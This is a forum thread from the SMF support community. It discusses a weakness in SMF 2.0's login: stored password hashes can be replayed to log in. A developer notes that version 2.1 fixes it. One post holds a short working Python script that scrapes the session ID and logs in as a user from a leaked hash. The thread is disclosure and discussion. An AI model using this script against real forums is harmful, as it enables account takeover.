News:

SMF 2.1.4 has been released! Take it for a spin! Read more.

Main Menu

SMF login via password hash - against best practices?

Started by qc, May 02, 2016, 06:10:53 PM

Previous topic - Next topic

qc

Today I had a closer look at the login mechanism of SMF and I noticed that it is entirely possible to use the password hashes found in the members database table to login. Isn't this at least partially contradicting the reason why passwords are not stored in plain text in the database? Right now, once someone gains read access to my database, that person could use the password hash of any user to login (even if they have no current session) on my forum or any other SMF forum on the web where that user has an account with the same password.

I assume that login via password hash was introduced to protect plaintext passwords send over insecure, non-HTTPS channels. But this comes at the cost of making the whole password hashing at least partially useless (partially, since password reuse can now be exploited on other SMF websites but not all other websites a user might have an account on).

In other words: the hash is actually the password, since I can use it to login. And the hash is stored in plaintext => passwords are stored in plaintext.

I am sórry if this has already been discussed, I just couldn't find any discussion about it right now.

Do you agree that removing the client-side password hashing is the best choice facing these security risks?
Playing quizduell? Having quizduell questions? Our german quizduell forum quizcommunity.de is looking for quiz freaks to come and play quizduell with us :)

margarett

Client-side hashing was removed in 2.1 in order to use bcrypt instead of sha1, also because 2.1 supports full https.

But I couldn't really log in with my stored hash, really. How do you do that?
Se forem conduzir, não bebam. Se forem beber... CHAMEM-ME!!!! :D

QuoteOver 90% of all computer problems can be traced back to the interface between the keyboard and the chair

Arantor

Check what gets sent in the POST, when you submit the login form, and compare the hash in there with the one in the DB.

In reality it was to prevent it being sent in plaintext, the point being if the DB was compromised, it doesn't mean the password collision is directly reusable, but yes it was upgraded in 2.1 to deal with this (though sends the password in plain)

qc

E. g. like this (python):

import urllib2, urllib, hashlib, re

cookie_processor = urllib2.HTTPCookieProcessor();
opener = urllib2.build_opener(cookie_processor)

response = opener.open("<FORUM-URL>/index.php?action=login")
content = response.read()

''' Retrieve the current session ID: '''
m = re.search('hashLoginPassword\(this, \'(.*)\'\)', content)
session_id = m.group(1)

''' Login via sha1(hash + current session ID): '''
data = {
'user': '<USERNAME>',
'hash_passwrd': hashlib.sha1('<PASSWORD_HASH>' + session_id).hexdigest()
}

response = opener.open("<FORUM-URL>/index.php?action=login2", urllib.urlencode(data))
content = response.read()

print 'Got these session cookies: ' + str(cookie_processor.cookiejar);


Quote from: Arantor on May 02, 2016, 07:01:40 PM
Check what gets sent in the POST, when you submit the login form, and compare the hash in there with the one in the DB.
The POST data contains SHA1(hash + session_id), which is easily computed if the hash is known.
Playing quizduell? Having quizduell questions? Our german quizduell forum quizcommunity.de is looking for quiz freaks to come and play quizduell with us :)

margarett

Quote from: qc on May 02, 2016, 07:02:05 PM
The POST data contains SHA1(hash + session_id), which is easily computed if the hash is known.
Yeah now I see it. Thanks.
Se forem conduzir, não bebam. Se forem beber... CHAMEM-ME!!!! :D

QuoteOver 90% of all computer problems can be traced back to the interface between the keyboard and the chair

qc

Since this is still an issue in 2.0.12, here a relevant discussion regarding client-side hashing (see comments to first answer):
http://programmers.stackexchange.com/questions/76939/why-almost-no-webpages-hash-passwords-in-the-client-before-submitting-and-hashi/76947#comment672536_76947

I assume this will be adressed in the upcoming SMF 2.1 :)
Playing quizduell? Having quizduell questions? Our german quizduell forum quizcommunity.de is looking for quiz freaks to come and play quizduell with us :)

live627

QuoteI assume this will be adressed in the upcoming SMF 2.1 :)
Yes, that was done at the same time that the hash method was upgraded to bcrypt.

Arantor

Plus with Google Chrome going to report that any site without SSL and with a form as "insecure" the one use case goes away anyway.

Advertisement: